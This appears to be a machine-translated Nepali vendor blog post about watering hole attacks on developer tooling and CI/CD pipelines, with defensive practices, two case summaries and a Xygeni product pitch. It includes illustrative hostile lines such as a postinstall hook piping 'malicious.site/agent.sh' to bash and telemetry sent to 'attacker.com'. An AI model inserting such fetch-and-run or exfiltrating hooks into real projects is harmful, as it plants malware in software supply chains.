पानी पर्ने प्वाल आक्रमण - पानी पर्ने प्वाल आक्रमण भनेको के हो?

विकासकर्तादेखि लक्ष्यसम्म: पानी जम्ने प्वालका आक्रमणहरूले तपाईंको शरीरमा कसरी घुसपैठ गर्छन् Pipeline

पछाडिको ढोका बनाउने भवन

एउटा निर्माण बिग्रन्छ। एउटा सेवा तैनाथ हुन्छ। सबै कुरा सफा देखिन्छ। तर भित्र लुकेको विषाक्त निर्भरता छ जुन सम्झौता गरिएको स्रोतबाट निकालिएको छ। त्यो एक क्लासिक वाटरिङ होल आक्रमण हो।

यस परिदृश्यमा, आक्रमणकारीले तपाईंको पूर्वाधारमा प्रवेश गरेन। तिनीहरूले विकासकर्तालाई विश्वसनीय स्रोत, कागजात साइट, प्याकेज रिपो, वा SDK डाउनलोड पृष्ठमा जानको लागि पर्खे, जुन तिनीहरूले पहिले नै सम्झौता गरिसकेका थिए। दुर्भावनापूर्ण कोड तपाईंको pipeline साधारण तान्नुहोस् वा स्थापना गर्नुहोस् आदेशको साथ।

एक पटक पठाइएपछि, आक्रमणकारीले उत्पादनमा मौन पाइला राख्छ। र तपाईंको CI/CD pipeline त्यहाँ पुग्न मद्दत गरें।

पानी जम्ने प्वालको आक्रमण के हो (र विकासकर्ताहरूले किन ख्याल गर्नुपर्छ)

त्यसो भए, वाटरिङ होल आक्रमण भनेको के हो? यो तब हुन्छ जब आक्रमणकारीले विकासकर्ताहरू वा टोलीहरूले पहिले नै विश्वास गर्ने स्रोतलाई सम्झौता गर्छ। तपाईंलाई सिधै लक्षित गर्नुको सट्टा, तिनीहरूले तपाईंले प्रयोग गर्न सक्ने सम्भावित सामान्य साइट वा रिपोलाई भ्रष्ट गर्छन्, र कसैले प्रलोभन लिने प्रतीक्षा गर्छन्।

वाटरिङ होल आक्रमणहरू फिसिङभन्दा फरक हुन्छन्, जसले सामान्यतया प्रमाणहरूलाई लक्षित गर्दछ, र प्याकेजको मुख्य रिपोमा खराब कोड इन्जेक्ट गर्ने अपस्ट्रीम आपूर्ति श्रृंखला आक्रमणहरूबाट। यहाँ, खतरा तपाईंको वरपरको इकोसिस्टमबाट आउँछ: ब्याकडोरहरू थप्ने कागजातहरू, ट्रोजनहरूसँग साटासाट गरिएका SDK बाइनरीहरू, वा परिवर्तित संस्करणहरू सेवा गर्ने प्याकेज रजिस्ट्रीहरू।

अनि विकास स्रोतहरू प्रमुख लक्ष्यहरू हुन्: प्याकेज प्रबन्धकहरू (npm, pip, Maven), सार्वजनिक GitHub रिपोहरू, आधिकारिक देखिने डकर छविहरू, र डाउनलोड पृष्ठहरू। यदि यी मध्ये कुनै पनि सम्झौता गरिएको छ भने, आक्रमणकारी पहिले नै तपाईंको विकास प्रवाह भित्र छ।

पासो कहाँ रोपिन्छ: वास्तविक विकास-केन्द्रित उदाहरणहरू पानी जम्ने प्वालको आक्रमण

पानी जम्ने प्वाल आक्रमणहरू धेरै रूपहरू लिन्छन्। यहाँ केही तरिकाहरू छन् जुन तिनीहरूले विकासकर्ताहरूलाई पछाडि पार्छन्:

  • सम्झौता गरिएको कागजात साइट:
    'malicious-lib' बाट { init } आयात गर्नुहोस्;

init({ टेलिमेट्री: 'https://attacker.com' });
कागजातहरूमा एउटा वैध उदाहरण सूक्ष्म रूपमा परिवर्तन भयो। विकासकर्ताहरूले प्रतिलिपि, टाँस्छन्, र अगाडि बढ्छन्।

  • सार्वजनिक जनसम्पर्कमा दुर्भावनापूर्ण पोस्ट-इन्स्टल स्क्रिप्ट:
{   "scripts": {     "postinstall": "curl -s https://malicious.site/agent.sh | bash"   } } 

उपयोगी PR जस्तो देखिन्छ, तर यसले चुपचाप मालवेयर स्थापना गर्छ।

  • ट्रोजनाइज्ड SDK बाइनरी:
    ./sdk-install.sh # लुकेको दोस्रो-चरण लोडर समावेश गर्दछ
    बाइनरी विश्वसनीय देखिने URL बाट डाउनलोड गरिन्छ तर परिवर्तन गरिएको हुन्छ।
  • हेरफेर गरिएको डकर आधार छवि:
    नोडबाट: स्लिम-मालिसियस
  • ब्यास चलाउनुहोस् /tmp/hidden-installer.sh
    तस्बिरको नाम ठीक देखिन्छ, तर यो अपहरण गरिएको वा नक्कली रजिस्ट्रीमा होस्ट गरिएको छ।

यी सबै वाटरिङ होल आक्रमणहरू विकासकर्ताको विश्वास र पत्ता लगाउनबाट बच्न द्रुत गतिमा चल्ने कार्यप्रवाहहरूमा निर्भर हुन्छन्।

ल्यापटप देखि Pipeline: संक्रमण कसरी फैलिन्छ

ब्राउजरमा पानी जम्ने आक्रमण रोकिँदैन। एक पटक दुर्भावनापूर्ण कोड स्थानीय वातावरणमा प्रवेश गरेपछि, यो तपाईंको सम्पूर्ण डेलिभरी शृङ्खलामा चुपचाप यात्रा गर्न सक्छ:

  1. विकासकर्ताले सम्झौता गरिएको स्रोत (कागजात, रिपो, SDK साइट) भ्रमण गर्छ।
  2. दुर्भावनापूर्ण कोड स्थानीय विकास वातावरणमा प्रवेश गर्छ।
  3. संक्रमित फाइलहरू वा निर्भरताहरू a मा थपिएका छन् commit र धकेले।
  4. CI/CD यी सम्झौता गरिएका कम्पोनेन्टहरू प्रयोग गरेर निर्माण र स्थापना चरणहरू सञ्चालन गर्ने कार्यहरू।
  5. आक्रमणकारीको कोड उत्पादनमा इम्बेड गर्दै, कलाकृति पठाइन्छ र तैनाथ गरिन्छ।

यो शृङ्खला घण्टामै खुल्न सक्छ, विशेष गरी उच्च-गति भएका टोलीहरूमा।

यसलाई कल्पना गर्न, कल्पना गर्नुहोस् कि pipeline संक्रमण मार्ग ट्र्याक गर्ने रेखाचित्र:

  • विकासकर्ता कार्यस्थान: सम्पादकहरू, टर्मिनलहरू, स्क्रिप्टहरू स्थापना गर्नुहोस्।
  • स्रोत नियन्त्रण: Commits, PRs, मर्जहरू।
  • CI Pipeline: निर्भरता स्थापनाहरू, स्क्रिप्ट कार्यान्वयन, छवि निर्माणहरू।
  • उत्पादन: कलाकृति रिलीज, तैनाती, र प्रयोगकर्ता पहुँच।

प्रत्येक पाइलामा, सही सुरक्षा उपायहरू बिना पानी प्वालको आक्रमण बेवास्ता हुन सक्छ।

वास्तविक जोखिम परिदृश्यहरू CI/CD

पानी छेद आक्रमणहरू केवल विकास मेसिनहरूमा मात्र रोकिँदैनन्। तिनीहरूले तपाईंको pipeline तपाईंको विरुद्धमा। वास्तविक जोखिमहरूमा समावेश छन्:

  • सम्झौता गरिएका आधारभूत छविहरू:
    देखि आक्रमणकारी-registry.io/python:3.10-slim
    निर्माणको क्रममा लुकेको मालवेयर थपियो।
  • अनपिन गरिएका स्क्रिप्ट वा उपकरणहरू प्राप्त गर्दै:
    कर्ल -s https://pkg.example.com/latest.sh | ब्यास
    "नवीनतम" जुनसुकै बेला परिवर्तन हुन सक्छ, विशेष गरी यदि DNS अपहरण गरिएको छ भने।
  • संक्रमित CI लगहरू (उदाहरण):
    [+] उपकरणहरू स्थापना गर्दै...

[+] https://tools.fakecdn.net/bootstrap.sh बाट प्राप्त गर्दै

[+] निर्माण सम्पन्न भयो।

सतहमा सबै कुरा ठीक देखिन्छ। तर पेलोड पहिले नै कलाकृतिमा छ।

पानी जम्ने ठाउँको आक्रमण कति विश्वासको दुरुपयोग CI/CD बाह्य स्रोतहरू र लिपिहरूमा वातावरणहरू स्थान पाउँछन्।

ब्रेकिंग पानी जम्ने प्वालको आक्रमण चेन: विकासकर्ता-साइड डिफेन्स

वाटरिङ होल आक्रमणहरू चाँडै रोक्नको लागि, तपाईंले आफ्नो विकास अभ्यासहरूलाई कडा बनाउनु पर्छ। कोड प्रविष्ट गर्नु अघि आक्रमण रोकथाम सुरु गर्नुपर्छ। CI/CD pipeline:

  • पिन निर्भरताहरू: जस्तै फ्लोटिंग ट्यागहरू बेवास्ता गर्नुहोस् नवीनतम। निर्धारणात्मक निर्माणहरू सुनिश्चित गर्न लकफाइलहरू प्रयोग गर्नुहोस्।
  • चेकसमहरू प्रमाणित गर्नुहोस्: सबै रिमोट स्क्रिप्टहरू, बाइनरीहरू, र प्याकेजहरू प्रमाणित गर्नुहोस्।
  • निजी ऐना प्रयोग गर्नुहोस्: सम्झौता गरिएका अपस्ट्रीम स्रोतहरूको सम्पर्कबाट बच्न महत्वपूर्ण प्याकेज रजिस्ट्रीहरूलाई मिरर गर्नुहोस्।
  • आधार तस्बिरहरू प्रमाणित गर्नुहोस्: छवि डाइजेस्ट प्रयोग गर्नुहोस् (@शा२५६) ट्यागको सट्टा। प्रयोग गर्नु अघि सबै छविहरू स्क्यान गर्नुहोस्।
  • चलाउनुहोस् SCA/SAST पूर्व-मर्ज: खतराहरू चाँडै पत्ता लगाउन आफ्नो PR कार्यप्रवाहमा स्वचालित स्क्यानहरू गर्नुहोस्।
  • Git प्रयोग गर्नुहोस् hooks: संस्करण नियन्त्रणमा आउनु अघि उच्च-जोखिम परिवर्तनहरू पत्ता लगाउनुहोस् र रोक्नुहोस्।
  • व्यवहार तेस्रो-पक्ष कोड अविश्वसनीय इनपुट जस्तै: व्यापक रूपमा प्रयोग हुने पुस्तकालयहरूले पनि लुकेका जोखिमहरू बोक्न सक्छन्।

विकासकर्ता कार्यप्रवाहमा सुरक्षा समावेश हुनुपर्छ। यी बानी र नियन्त्रणहरूले पानी प्वाल आक्रमणहरू बढ्नु अघि नै रोक्न मद्दत गर्छन्।

क्षेत्रबाट पाठ

केस १: घटना-स्ट्रिम (npm)

एक विश्वसनीय मर्मतकर्ताले लोकप्रिय प्याकेजको नियन्त्रण हस्तान्तरण गर्यो। नयाँ मर्मतकर्ताले एउटा निर्भरता थप्यो जसले चुपचाप क्रिप्टो वालेट डेटा चोर्यो।

  • जहाँ यो असफल भयो: ट्रान्जिटिभ डिपेन्डेन्सीको कुनै समीक्षा छैन।
  • पाठ: स्वचालित प्रयोग गर्नुहोस् SCA अप्रत्यक्ष निर्भरताहरूमा परिवर्तनहरू ट्र्याक गर्न र फ्ल्याग गर्न।

केस २: कोडेकोभ ब्यास अपलोडर

एक आक्रमणकारीले धेरै CI मा प्रयोग गरिएको ब्यास स्क्रिप्ट परिवर्तन गर्यो pipelines. यसले CI वातावरणबाट गोप्य कुराहरू उजागर गर्‍यो।

  • जहाँ यो असफल भयो: कुनै चेकसम प्रमाणीकरण छैन।
  • पाठ: डाउनलोड गरिएका उपकरणहरू चलाउनु अघि सधैं प्रमाणित गर्नुहोस्। CI/CD.

दुवै पानीको प्वालबाट हुने आक्रमण थिए। दुवैलाई पहिले नै रोक्न सकिन्थ्यो।

अभ्यासमा रोकथाम: DevSecOps मानसिकता र उपकरण

पानी जम्ने ठाउँको आक्रमण रोक्नु भनेको सुरक्षा-सचेत विकासकर्ता संस्कृति निर्माण गर्नु हो:

  • सुरक्षा बायाँतिर सार्नुहोस्: अप्रत्याशित स्क्रिप्टहरू, निर्भरता परिवर्तनहरू, वा स्थापना चरणहरूमाथि प्रश्न गर्न विकासकर्ताहरूलाई तालिम दिनुहोस्।
  • स्वचालित गर्नुहोस् SCA/SASTप्रयोग गर्नुहोस् उपकरण जुन ज्ञात जोखिम र जोखिमपूर्ण ढाँचाहरूलाई रोक्नको लागि PR कार्यप्रवाहमा एकीकृत हुन्छ।
  • सबैतिर ह्यास प्रमाणीकरण प्रयोग गर्नुहोस्: कुनै पनि बाह्य स्रोत कार्यान्वयन गर्नु अघि प्रमाणित गर्नुपर्छ।
  • वास्तविक समयमा निगरानी गर्नुहोस्: रोकथाम मात्र पर्याप्त छैन।

उपकरण जस्तै जाइगेनी तपाईंको सम्पूर्ण सफ्टवेयर आपूर्ति श्रृंखलामा वास्तविक-समय दृश्यता प्रदान गर्दछ। Xygeni ले विकासकर्ता वातावरण, Git गतिविधि, CI लाई निरन्तर निगरानी गर्दछ। pipelines, र पत्ता लगाउनका लागि कलाकृति रजिस्ट्रीहरू:

  • असामान्य निर्भरता परिवर्तनहरू।
  • निर्माण स्क्रिप्टहरूमा शंकास्पद परिमार्जनहरू।
  • तेस्रो-पक्ष स्रोतहरूमा असामान्य पहुँच ढाँचाहरू।

Xygeni को साथ, टोलीहरूले पानी प्वाल आक्रमणहरू मार्फत सुरु भएका खतराहरूलाई फैलिनु अघि नै रोक्न सक्छन्, र यदि कोही चुक्यो भने सम्झौताको स्रोत पत्ता लगाउन सक्छन्। यो विशेष गरी आधुनिकको लागि निर्मित छ CI/CD कार्ययोग्य अलर्टहरू र विकासकर्ता-पहिले उपयोगितामा केन्द्रित वातावरणहरू।

अन्तिम नोट: छिटो Pipelines, छिटो जोखिमहरू

अब त्यो थाहा छ पानी जम्ने ठाउँको आक्रमण भनेको के हो? तपाईंलाई थाहा छ कि उनीहरूले तपाईंको पूर्वाधारलाई सिधै तोड्नु पर्दैन। विकासकर्ताहरूले पहिले नै विश्वास गर्ने उपकरणहरू र साइटहरूलाई विषाक्त बनाएर तिनीहरू सफल हुन्छन्। त्यहाँबाट, आफ्नो CI/CD pipeline आक्रमणकारीको वितरण प्रणाली बन्न सक्छ.

वास्तविक जोखिम केवल सम्झौता गर्नु मात्र होइन, यो तपाईंको माध्यमबाट दुर्भावनापूर्ण कोड कति छिटो सर्छ भन्ने हो। pipeline.

सुरक्षा जाँचहरूलाई आफ्नो विकास प्रवाहमा एकीकृत गर्नुहोस्, पछि सोचेर होइन। किनकि एक पटक पठाइसकेपछि, धेरै ढिलो भइसकेको हुन्छ।

sca-उपकरण-सफ्टवेयर-रचना-विश्लेषण-उपकरणहरू
आफ्नो सफ्टवेयर जोखिमहरूलाई प्राथमिकता दिनुहोस्, सुधार गर्नुहोस् र सुरक्षित गर्नुहोस्
आफ्नो नि:शुल्क खाता पाउनुहोस्।
कुनै क्रेडिट कार्ड आवश्यक छैन।

आफ्नो सफ्टवेयर विकास र डेलिभरी सुरक्षित गर्नुहोस्

Xygeni उत्पादन सुइटको साथ